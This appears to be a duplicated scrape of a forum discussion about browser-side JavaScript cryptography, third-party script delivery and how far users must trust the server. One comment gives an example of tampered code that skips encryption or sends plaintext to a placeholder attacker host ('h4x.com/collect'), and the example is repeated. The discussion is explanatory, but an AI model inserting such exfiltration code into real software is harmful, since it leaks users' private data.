4 ms·

a huge issue i think in SSL is allowing 3rd party anything to be served from a different domain via https, there should be warnings and automatic blocks about t

a huge issue i think in SSL is allowing 3rd party anything to be served from a different domain via https, there should be warnings and automatic blocks about this for the user and i don't know why there aren't. i wonder if having a public, open-source cdn specifically for crypto libs with known sha256 signatures and having a standard way to "require" them in the html standard that differs from how regular scripts can be included/injected now. or even include them in browsers so they're auto-updated by the vendors or some central trusted authority.

gcommer 13y ago
Even if we could reliably deliver open source crypto libs, the website could still serve up code that didn't use the libraries correctly.
- leeoniya 13y ago
  sure, if the server is compromised there's really not much that will save anyone. but the user must necessarily trust the server at least with the data they intend to encrypt. for authentication they can trust some third party like oauth or persona/browser-id.
  - orthecreedence 13y ago
    > but the user must necessarily trust the server at least with the data they intend to encrypt not true. if i distribute an app that encrypts user data (based on a username/password-derived key), stores it on a server, and lets them access it anywhere (from the app), the server can be stupid as a bag of rocks and know nothing about the data, and more importantly, require absolutely no trust from the client because the client encrypts everything via code it owns. at this point, the user only needs to trust the app and the platform it runs on, because the server has absolutely nothing to do with the encryption.
    - leeoniya 13y ago
      if the sever does nothing but storage, you're right. i was talking more about something like SaaS and encrypting in transport, such as passing CC info or other sensitive data that the sever must know to pass through to gov't backends, payment processors or other apis. you can't say, for example, that Lavabit could still provide a service without knowing the recipient's decrypted email address.
      - gcommer 13y ago
        In those scenarios, client side crypto isn't even applicable to begin with. If the service requires trusting the server with sensitive information, then the best we can hope for is to secure the transport of the data, which is done with https. Client side crypto only comes into plays with apps where you don't want to trust the server with any sensitive data.
orthecreedence 13y ago
That's all fine and well, but there's no standard way to implement encryption using the now-standard crypto libs. In other words an attacker can still change your code from var ciphertext = StandardCrypto.aes(my_key, my_message); to // disable crypto var ciphertext = my_message; // or send plaintext to h4x.com send_jsonp('http://h4x.com/collect?msg='+my_message); var ciphertext = StandardCrypto.aes(my_key, my_message); Standard crypto libs won't do you any good if you aren't actually calling them.

gcommer 13y ago

Even if we could reliably deliver open source crypto libs, the website could still serve up code that didn't use the libraries correctly.

leeoniya 13y ago
sure, if the server is compromised there's really not much that will save anyone. but the user must necessarily trust the server at least with the data they intend to encrypt. for authentication they can trust some third party like oauth or persona/browser-id.
- orthecreedence 13y ago
  > but the user must necessarily trust the server at least with the data they intend to encrypt not true. if i distribute an app that encrypts user data (based on a username/password-derived key), stores it on a server, and lets them access it anywhere (from the app), the server can be stupid as a bag of rocks and know nothing about the data, and more importantly, require absolutely no trust from the client because the client encrypts everything via code it owns. at this point, the user only needs to trust the app and the platform it runs on, because the server has absolutely nothing to do with the encryption.
  - leeoniya 13y ago
    if the sever does nothing but storage, you're right. i was talking more about something like SaaS and encrypting in transport, such as passing CC info or other sensitive data that the sever must know to pass through to gov't backends, payment processors or other apis. you can't say, for example, that Lavabit could still provide a service without knowing the recipient's decrypted email address.
    - gcommer 13y ago
      In those scenarios, client side crypto isn't even applicable to begin with. If the service requires trusting the server with sensitive information, then the best we can hope for is to secure the transport of the data, which is done with https. Client side crypto only comes into plays with apps where you don't want to trust the server with any sensitive data.

orthecreedence 13y ago

That's all fine and well, but there's no standard way to implement encryption using the now-standard crypto libs. In other words an attacker can still change your code from var ciphertext = StandardCrypto.aes(my_key, my_message); to // disable crypto var ciphertext = my_message; // or send plaintext to h4x.com send_jsonp('http://h4x.com/collect?msg='+my_message); var ciphertext = StandardCrypto.aes(my_key, my_message); Standard crypto libs won't do you any good if you aren't actually calling them.